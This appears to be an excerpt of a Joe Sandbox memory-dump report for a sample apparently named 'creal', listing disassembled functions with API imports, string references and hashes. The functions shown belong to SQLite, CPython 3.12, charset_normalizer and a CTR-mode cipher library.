Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memset
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789$etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 2221118986-463513059
Opcode ID: 44512094730ef02586f7467600008db8530935ff935724490f288e676ea215e3
Instruction ID: 85512b9ff12eeeca5115881e97ba3f5f3a96febac5b1c7731cb062eca538a1b2
Opcode Fuzzy Hash: 44512094730ef02586f7467600008db8530935ff935724490f288e676ea215e3
Instruction Fuzzy Hash: FBE15A55B2C7DA47EE1C8BB928153782B90AB4A7C0F58513ADEAE477D2DE3CB512C301

Function 00007FF8E68DD7C0 Relevance: 12.4, APIs: 1, Strings: 7, Instructions: 403COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8E68DD8E4

Strings

Page %u: never used, xrefs: 00007FF8E68DDBC5
Bad ptr map entry key=%u expected=(%u,%u) got=(%u,%u), xrefs: 00007FF8E68DDAD8
Failed to read ptrmap key=%u, xrefs: 00007FF8E68DDAB1
Freelist: , xrefs: 00007FF8E68DD95A
max rootpage (%u) disagrees with header (%u), xrefs: 00007FF8E68DD9DC
incremental_vacuum enabled with a max rootpage of zero, xrefs: 00007FF8E68DDA00
Page %u: pointer map referenced, xrefs: 00007FF8E68DDC31

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memset
String ID: Bad ptr map entry key=%u expected=(%u,%u) got=(%u,%u)$Failed to read ptrmap key=%u$Freelist: $Page %u: never used$Page %u: pointer map referenced$incremental_vacuum enabled with a max rootpage of zero$max rootpage (%u) disagrees with header (%u)
API String ID: 2221118986-741541785
Opcode ID: 47e708a9b2cd1ce954ac55090724bb7a2ab165dfa4cac61b29933a9d17c3da3a
Instruction ID: 4f9750a37c8561d28fab21a5333b2dc261e2d2d1bc58f812cf1e1ab2dca42d9a
Opcode Fuzzy Hash: 47e708a9b2cd1ce954ac55090724bb7a2ab165dfa4cac61b29933a9d17c3da3a
Instruction Fuzzy Hash: A102AC72F286628AEB10CBA5E4607AD77A9FB84784F14413ADA4E47B94DF7CE440CB11

Function 00007FF8E68B74B1 Relevance: 9.4, APIs: 2, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

0123456789ABCDEF0123456789abcdef, xrefs: 00007FF8E68B769A
-x0, xrefs: 00007FF8E68B7781
VUUU, xrefs: 00007FF8E68B770D
VUUU, xrefs: 00007FF8E68B75E6

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID:
String ID: -x0$0123456789ABCDEF0123456789abcdef$VUUU$VUUU
API String ID: 0-2031831958
Opcode ID: fb54a0c179caa17773880983dc6a8eccc5c567f5f9aeb018be3315aa168a96dc
Instruction ID: f3912fc38ce2eb4ca3d15b801ee6f314ff9823066087e5dce8145b1723923bc7
Opcode Fuzzy Hash: fb54a0c179caa17773880983dc6a8eccc5c567f5f9aeb018be3315aa168a96dc
Instruction Fuzzy Hash: 8FF11F66B2C7AA85EB64CB689054B7E7FA4EB85BC4F084035DA8E43795EE3CE401C701

Function 00007FF8E68D72D0 Relevance: 6.6, APIs: 5, Instructions: 360COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF8E68D7462
memset.VCRUNTIME140 ref: 00007FF8E68D7473
memcpy.VCRUNTIME140 ref: 00007FF8E68D74E8
memcpy.VCRUNTIME140 ref: 00007FF8E68D7500
memset.VCRUNTIME140 ref: 00007FF8E68D750F

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpy$memset
String ID:
API String ID: 438689982-0
Opcode ID: 34e0163e64a6ab47a454ebcfa3fdf24bc47e619a7ea06a7069ab159aea8323a2
Instruction ID: ea5d483db5ed8b1762e72c6f2467805de9a491388c93ab4d77ff2ddc71df9d96
Opcode Fuzzy Hash: 34e0163e64a6ab47a454ebcfa3fdf24bc47e619a7ea06a7069ab159aea8323a2
Instruction Fuzzy Hash: 2FE1D43272C79186E7909F69D0407AD7BA9FB58BC4F048036EE8E47B85DE3DD4458312

Function 00007FF8E7142150 Relevance: 45.9, APIs: 13, Strings: 13, Instructions: 440COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON312 ref: 00007FF8E71422E2
PyErr_Format.PYTHON312 ref: 00007FF8E714236F
PyTuple_New.PYTHON312 ref: 00007FF8E71424A4
PyErr_Format.PYTHON312 ref: 00007FF8E71425EA
PyErr_Format.PYTHON312 ref: 00007FF8E714261D
PyDict_New.PYTHON312 ref: 00007FF8E7142628
_PyUnicode_EQ.PYTHON312 ref: 00007FF8E71426A6
PySequence_Contains.PYTHON312 ref: 00007FF8E714273B
PyDict_SetItem.PYTHON312 ref: 00007FF8E7142759
PyErr_Format.PYTHON312 ref: 00007FF8E71427B2
PyErr_Format.PYTHON312 ref: 00007FF8E71427F7
_Py_Dealloc.PYTHON312 ref: 00007FF8E714281A
_Py_Dealloc.PYTHON312 ref: 00007FF8E714284D

Strings

%.200s%s missing required argument '%U' (pos %d), xrefs: 00007FF8E714260F
argument for %.200s%s given by name ('%U') and position (%d), xrefs: 00007FF8E714278B
%.200s%s takes %s %d positional argument%s (%zd given), xrefs: 00007FF8E714234D
this function, xrefs: 00007FF8E71427D6
at most, xrefs: 00007FF8E7142322
'%S' is an invalid keyword argument for %.200s%s, xrefs: 00007FF8E71427DD
keyword , xrefs: 00007FF8E7142264
exactly, xrefs: 00007FF8E7142329, 00007FF8E7142575
at least, xrefs: 00007FF8E7142564
function, xrefs: 00007FF8E714224C, 00007FF8E71422BF, 00007FF8E714230D, 00007FF8E714254F, 00007FF8E71425A3, 00007FF8E714277A
%.200s%s takes no positional arguments, xrefs: 00007FF8E71422D0
%.200s%s takes at most %d %sargument%s (%zd given), xrefs: 00007FF8E714226B
%.200s%s missing required keyword-only argument '%U', xrefs: 00007FF8E71425D1

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_Format$DeallocDict_$ContainsItemSequence_Tuple_Unicode_
String ID: %.200s%s missing required argument '%U' (pos %d)$%.200s%s missing required keyword-only argument '%U'$%.200s%s takes %s %d positional argument%s (%zd given)$%.200s%s takes at most %d %sargument%s (%zd given)$%.200s%s takes no positional arguments$'%S' is an invalid keyword argument for %.200s%s$argument for %.200s%s given by name ('%U') and position (%d)$at least$at most$exactly$function$keyword $this function
API String ID: 3590232122-3030676885
Opcode ID: 1ff9da88f9a7a57dac390b6711fe79e0e012da9bfee1266b6d806b6e39d40ce2
Instruction ID: 6af4367dad05dbe3b1ae7af44cea931b4bd30896c0ad2916973bc0f4b1fff302
Opcode Fuzzy Hash: 1ff9da88f9a7a57dac390b6711fe79e0e012da9bfee1266b6d806b6e39d40ce2
Instruction Fuzzy Hash: AD125D32A09B86C1EA548F85E8807BD77A5FB84BD4F444136EA6E43764EF3CE485D702

Function 00007FF8E714AE50 Relevance: 44.1, APIs: 22, Strings: 3, Instructions: 384COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8E7142920: PyLong_FromSsize_t.PYTHON312 ref: 00007FF8E7142961
Part of subcall function 00007FF8E7142920: PyNumber_Add.PYTHON312 ref: 00007FF8E71429B7
Part of subcall function 00007FF8E7142920: _Py_Dealloc.PYTHON312 ref: 00007FF8E71429D7
Part of subcall function 00007FF8E7142920: _Py_Dealloc.PYTHON312 ref: 00007FF8E71429EB

PyObject_Vectorcall.PYTHON312 ref: 00007FF8E714AEFA
_Py_Dealloc.PYTHON312 ref: 00007FF8E714AF11
_Py_Dealloc.PYTHON312 ref: 00007FF8E714AF56
PyObject_Vectorcall.PYTHON312 ref: 00007FF8E714AFBE
_Py_Dealloc.PYTHON312 ref: 00007FF8E714AFD5
_Py_Dealloc.PYTHON312 ref: 00007FF8E714B016
_Py_Dealloc.PYTHON312 ref: 00007FF8E714B054
PyObject_VectorcallMethod.PYTHON312 ref: 00007FF8E714B0AF
_Py_Dealloc.PYTHON312 ref: 00007FF8E714B117
PyObject_VectorcallMethod.PYTHON312 ref: 00007FF8E714B15D

Part of subcall function 00007FF8E7143880: PyThreadState_Get.PYTHON312 ref: 00007FF8E71438A2
Part of subcall function 00007FF8E7143880: PyErr_Fetch.PYTHON312 ref: 00007FF8E71438BA
Part of subcall function 00007FF8E7143880: PyCode_NewEmpty.PYTHON312 ref: 00007FF8E71438CD
Part of subcall function 00007FF8E7143880: PyFrame_New.PYTHON312 ref: 00007FF8E71438E7
Part of subcall function 00007FF8E7143880: _Py_Dealloc.PYTHON312 ref: 00007FF8E7143902
Part of subcall function 00007FF8E7143880: _PyErr_ChainExceptions1.PYTHON312 ref: 00007FF8E714390D

_Py_Dealloc.PYTHON312 ref: 00007FF8E714B3F3

Strings

feed, xrefs: 00007FF8E714AEC7, 00007FF8E714AFE7, 00007FF8E714B066, 00007FF8E714B0C4, 00007FF8E714B172, 00007FF8E714B2F5, 00007FF8E714B39E, 00007FF8E714B433, 00007FF8E714B46A
str, xrefs: 00007FF8E714B426, 00007FF8E714B45E
bool, xrefs: 00007FF8E714AF2C, 00007FF8E714B02C, 00007FF8E714B0ED, 00007FF8E714B1B7

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc$Object_Vectorcall$Err_Method$ChainCode_EmptyExceptions1FetchFrame_FromLong_Number_Ssize_tState_Thread
String ID: bool$feed$str
API String ID: 476165880-2613659865
Opcode ID: 7f2e8c55a4eeca045cf774529f01804e1fee1cd08f798284cff5715901533d5d
Instruction ID: f497a20b6539afa6cf2cdacb5534be53ebf914dd7533273b982825dcef1f53fa
Opcode Fuzzy Hash: 7f2e8c55a4eeca045cf774529f01804e1fee1cd08f798284cff5715901533d5d
Instruction Fuzzy Hash: 4D023931A09B83C1EB689F92E8553BD23A2AF45BD4F484031D96D87AA5EF3CE444D743

Function 00007FF8E7149740 Relevance: 37.1, APIs: 18, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8E7142920: PyLong_FromSsize_t.PYTHON312 ref: 00007FF8E7142961
Part of subcall function 00007FF8E7142920: PyNumber_Add.PYTHON312 ref: 00007FF8E71429B7
Part of subcall function 00007FF8E7142920: _Py_Dealloc.PYTHON312 ref: 00007FF8E71429D7
Part of subcall function 00007FF8E7142920: _Py_Dealloc.PYTHON312 ref: 00007FF8E71429EB

PyObject_RichCompare.PYTHON312 ref: 00007FF8E714978F
_Py_Dealloc.PYTHON312 ref: 00007FF8E71497A6
_Py_Dealloc.PYTHON312 ref: 00007FF8E71497F6
PyType_IsSubtype.PYTHON312 ref: 00007FF8E7149841
PySet_Contains.PYTHON312 ref: 00007FF8E7149884
_Py_Dealloc.PYTHON312 ref: 00007FF8E714989A
PyObject_Vectorcall.PYTHON312 ref: 00007FF8E71498E8
_Py_Dealloc.PYTHON312 ref: 00007FF8E71498FF
_Py_Dealloc.PYTHON312 ref: 00007FF8E7149944
PyObject_VectorcallMethod.PYTHON312 ref: 00007FF8E714997B
_Py_Dealloc.PYTHON312 ref: 00007FF8E7149BE5

Part of subcall function 00007FF8E7143800: PyErr_Format.PYTHON312 ref: 00007FF8E7143834

Strings

feed, xrefs: 00007FF8E7149862, 00007FF8E7149B4C
bool, xrefs: 00007FF8E71497CC, 00007FF8E714991A, 00007FF8E71499A4, 00007FF8E7149A65, 00007FF8E7149B09
set, xrefs: 00007FF8E714984B

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc$Object_$Vectorcall$CompareContainsErr_FormatFromLong_MethodNumber_RichSet_Ssize_tSubtypeType_
String ID: bool$feed$set
API String ID: 588643045-561237756
Opcode ID: 2ce494273f180fa024b86351a584eddda6a252b5bae88b763fbfbb79a573f59b
Instruction ID: 8d1bfa7e279511810c72c7b0909ece78c1342611d2a19da7bc8de3c721b5d4fe
Opcode Fuzzy Hash: 2ce494273f180fa024b86351a584eddda6a252b5bae88b763fbfbb79a573f59b
Instruction Fuzzy Hash: 8CD14932A08B83C5EB749F95E89537D63A2AF44BD4F484035CA6E4A6A5EF3CE440D703

Function 00007FF8E7141D70 Relevance: 35.2, APIs: 10, Strings: 10, Instructions: 216stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140(?,?,?,?,?,00007FF8E71421A1), ref: 00007FF8E7141E19

Strings

Empty parameter name after $, xrefs: 00007FF8E7141F95
Invalid format string (@ without preceding | and $), xrefs: 00007FF8E7141FA7
More keyword list entries (%d) than format specifiers (%d), xrefs: 00007FF8E7141FD5
Invalid format string ($ specified twice), xrefs: 00007FF8E7141F9E
more argument specifiers than keyword list entries (remaining format:'%s'), xrefs: 00007FF8E7141F69
%, xrefs: 00007FF8E7141DF6
Invalid format string (@ specified twice), xrefs: 00007FF8E7141FB0
Empty keyword parameter name, xrefs: 00007FF8E7141E3C
Invalid format string ($ before |), xrefs: 00007FF8E7141F83
Invalid format string (| specified twice), xrefs: 00007FF8E7141F8C

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: strchr
String ID: %$Empty keyword parameter name$Empty parameter name after $$Invalid format string ($ before |)$Invalid format string ($ specified twice)$Invalid format string (@ specified twice)$Invalid format string (@ without preceding | and $)$Invalid format string (| specified twice)$More keyword list entries (%d) than format specifiers (%d)$more argument specifiers than keyword list entries (remaining format:'%s')
API String ID: 2830005266-262724644
Opcode ID: 38c6c7fd6f791c59d1b5912cc3173f5b2923cab9302d414a8e120c7176cfda89
Instruction ID: da1368f07e73fc5230533bed03835df2b12b2cf59fd83cc7d1f5262c4be19b3d
Opcode Fuzzy Hash: 38c6c7fd6f791c59d1b5912cc3173f5b2923cab9302d414a8e120c7176cfda89
Instruction Fuzzy Hash: C9918D71A09B82C2EB288BA5E44033C67E1FB48BD4F544535CA6D47B94EF7CE496E302

Function 00007FF8E69616F0 Relevance: 25.7, APIs: 1, Strings: 16, Instructions: 234COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8E68FC340: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,00000000,00007FF8E696738A,?,?,?,?,?,00007FF8E68FC0E2), ref: 00007FF8E68FC4E8

Part of subcall function 00007FF8E68FBE30: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,00007FF8E68F653C), ref: 00007FF8E68FBF9A
Part of subcall function 00007FF8E68FBE30: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,00007FF8E68F653C), ref: 00007FF8E68FC026

memcpy.VCRUNTIME140 ref: 00007FF8E6961A74

Strings

lag, xrefs: 00007FF8E696189F
Y, xrefs: 00007FF8E69618B7
L, xrefs: 00007FF8E6961850
RANGE with offset PRECEDING/FOLLOWING requires one ORDER BY expression, xrefs: 00007FF8E69617F7
row_number, xrefs: 00007FF8E696183A
rank, xrefs: 00007FF8E6961860
lead, xrefs: 00007FF8E6961894
ntile, xrefs: 00007FF8E6961889
cume_dist, xrefs: 00007FF8E696187E
dense_rank, xrefs: 00007FF8E6961849
FILTER clause may only be used with aggregate window functions, xrefs: 00007FF8E6961822
Z, xrefs: 00007FF8E6961867
Z, xrefs: 00007FF8E69618BF
U, xrefs: 00007FF8E69618AF
percent_rank, xrefs: 00007FF8E6961873
U, xrefs: 00007FF8E69618C7

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpy
String ID: FILTER clause may only be used with aggregate window functions$L$RANGE with offset PRECEDING/FOLLOWING requires one ORDER BY expression$U$U$Y$Z$Z$cume_dist$dense_rank$lag$lead$ntile$percent_rank$rank$row_number
API String ID: 3510742995-2880407920
Opcode ID: 5eeb1426e28fcd3045d66288b2d2a9e22e9e9cf39fcaf6444c691318291380f9
Instruction ID: d04cf8692e89ce8ddde38c13e8c5c8cf8bb1faadfe87ae24e4798a16e79c8221
Opcode Fuzzy Hash: 5eeb1426e28fcd3045d66288b2d2a9e22e9e9cf39fcaf6444c691318291380f9
Instruction Fuzzy Hash: FDB1BE76A29B818AE7209FA4E8583AE37B1FB45798F144235CE9D07799DF3CD058CB01

Function 00007FF8E7141060 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 134COMMON

Download Yara Rule

APIs

_PyObject_LookupAttrId.PYTHON312 ref: 00007FF8E71410BF
PyList_Append.PYTHON312 ref: 00007FF8E71410E6
_PyObject_FastCall.PYTHON312 ref: 00007FF8E7141104
_Py_Dealloc.PYTHON312 ref: 00007FF8E714111D
PyList_New.PYTHON312 ref: 00007FF8E7141148
PyList_SetSlice.PYTHON312 ref: 00007FF8E714118C
_Py_Dealloc.PYTHON312 ref: 00007FF8E71411A4
PyList_AsTuple.PYTHON312 ref: 00007FF8E71411C2
_Py_Dealloc.PYTHON312 ref: 00007FF8E71411D9
PyErr_SetString.PYTHON312 ref: 00007FF8E71411F5
_Py_Dealloc.PYTHON312 ref: 00007FF8E7141209
_Py_Dealloc.PYTHON312 ref: 00007FF8E7141222

Strings

__mro_entries__ must return a tuple, xrefs: 00007FF8E71411EB

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc$List_$Object_$AppendAttrCallErr_FastLookupSliceStringTuple
String ID: __mro_entries__ must return a tuple
API String ID: 1865160900-2385075324
Opcode ID: b039deb2464f2060ae4a0bd026d99ad7f7f16f43939d06b91a08d2db725bb474
Instruction ID: d655c2447b587fdfd6226ea7f2556e20c51c7ff8773ca1cf37534ecb3dd874e5
Opcode Fuzzy Hash: b039deb2464f2060ae4a0bd026d99ad7f7f16f43939d06b91a08d2db725bb474
Instruction Fuzzy Hash: 83514C32A08B42C6EB189FA1E95477D67A2FF45FD5F588031CE2E86654EF3CE441A302

Function 00007FF8E7143EE0 Relevance: 22.8, APIs: 11, Strings: 2, Instructions: 96COMMON

Download Yara Rule

APIs

PyObject_GetAttrString.PYTHON312 ref: 00007FF8E7143F10
PyErr_SetString.PYTHON312 ref: 00007FF8E7143F3F
_Py_Dealloc.PYTHON312 ref: 00007FF8E7143F53
_Py_Dealloc.PYTHON312 ref: 00007FF8E7143F6C
PyDict_New.PYTHON312 ref: 00007FF8E7143F93
PyObject_GetAttr.PYTHON312 ref: 00007FF8E7143FB9
PyErr_ExceptionMatches.PYTHON312 ref: 00007FF8E7143FD1
PyErr_Clear.PYTHON312 ref: 00007FF8E7143FDF
PyDict_SetItem.PYTHON312 ref: 00007FF8E7143FF0
_Py_Dealloc.PYTHON312 ref: 00007FF8E7144007
_Py_Dealloc.PYTHON312 ref: 00007FF8E7144033

Strings

__mypyc_attrs__ is not a tuple, xrefs: 00007FF8E7143F35
__mypyc_attrs__, xrefs: 00007FF8E7143F01

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc$Err_$AttrDict_Object_String$ClearExceptionItemMatches
String ID: __mypyc_attrs__$__mypyc_attrs__ is not a tuple
API String ID: 2346549887-4201147154
Opcode ID: e66151341709f08fa87d516288480836e991296861bc7efaf3a726328e6597ee
Instruction ID: d0082f03f75840e18eb800fb0c57545fad1cc7fe317b76f5e559fc096c119f6d
Opcode Fuzzy Hash: e66151341709f08fa87d516288480836e991296861bc7efaf3a726328e6597ee
Instruction Fuzzy Hash: C9410525A08B82C2EA598F92E94437D63B1BB48FD4F444035CE6E93B60EF3CE4959703

Function 00007FF8E6FC2640 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 169COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8E6FC26E7
_aligned_malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8E6FC2716
_aligned_free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8E6FC27E8
_aligned_free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8E6FC27F7
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8E6FC2800
_wassert.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8E6FC2895

Strings

block_len < 256, xrefs: 00007FF8E6FC2873
src/raw_ctr.c, xrefs: 00007FF8E6FC2887
block_len > 0, xrefs: 00007FF8E6FC288E
src/raw_ctr.c, xrefs: 00007FF8E6FC286C

Memory Dump Source

Source File: 00000002.00000002.1577634657.00007FF8E6FC1000.00000020.00000001.01000000.00000020.sdmp, Offset: 00007FF8E6FC0000, based on PE: true

Associated: 00000002.00000002.1577585028.00007FF8E6FC0000.00000002.00000001.01000000.00000020.sdmpDownload File
Associated: 00000002.00000002.1577691044.00007FF8E6FC3000.00000002.00000001.01000000.00000020.sdmpDownload File
Associated: 00000002.00000002.1577732223.00007FF8E6FC4000.00000004.00000001.01000000.00000020.sdmpDownload File
Associated: 00000002.00000002.1577775069.00007FF8E6FC5000.00000002.00000001.01000000.00000020.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e6fc0000_creal.jbxd

Similarity

API ID: _aligned_free$_aligned_malloc_wassertcallocfree
String ID: block_len < 256$block_len > 0$src/raw_ctr.c$src/raw_ctr.c
API String ID: 592997318-2016502466
Opcode ID: 0d5b9b3112169f61a3843e1cf4ad109467cd9809abebe78d90098336cc1026f5
Instruction ID: 135aecc36389a5d26b80c7cdddf4442b1c60604a8f165a6697305c4d865a8ee7
Opcode Fuzzy Hash: 0d5b9b3112169f61a3843e1cf4ad109467cd9809abebe78d90098336cc1026f5
Instruction Fuzzy Hash: 7F719236B28B49A6EA60CF55E8407A973A4FB98BC4F544035DE8D43B94DF3CE464C70A

Function 00007FF8E7153850 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 79COMMON

Download Yara Rule

APIs

PyModule_Create2.PYTHON312 ref: 00007FF8E715388A
PyCapsule_New.PYTHON312 ref: 00007FF8E71538B1
PyObject_SetAttrString.PYTHON312 ref: 00007FF8E71538D4
_Py_Dealloc.PYTHON312 ref: 00007FF8E71538EA
PyCapsule_New.PYTHON312 ref: 00007FF8E7153905
PyObject_SetAttrString.PYTHON312 ref: 00007FF8E7153924
_Py_Dealloc.PYTHON312 ref: 00007FF8E715393A

Strings

exports, xrefs: 00007FF8E71538CA
charset_normalizer.md__mypyc.exports, xrefs: 00007FF8E71538A3
init_charset_normalizer___md, xrefs: 00007FF8E715391A
charset_normalizer.md__mypyc.init_charset_normalizer___md, xrefs: 00007FF8E71538F7

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
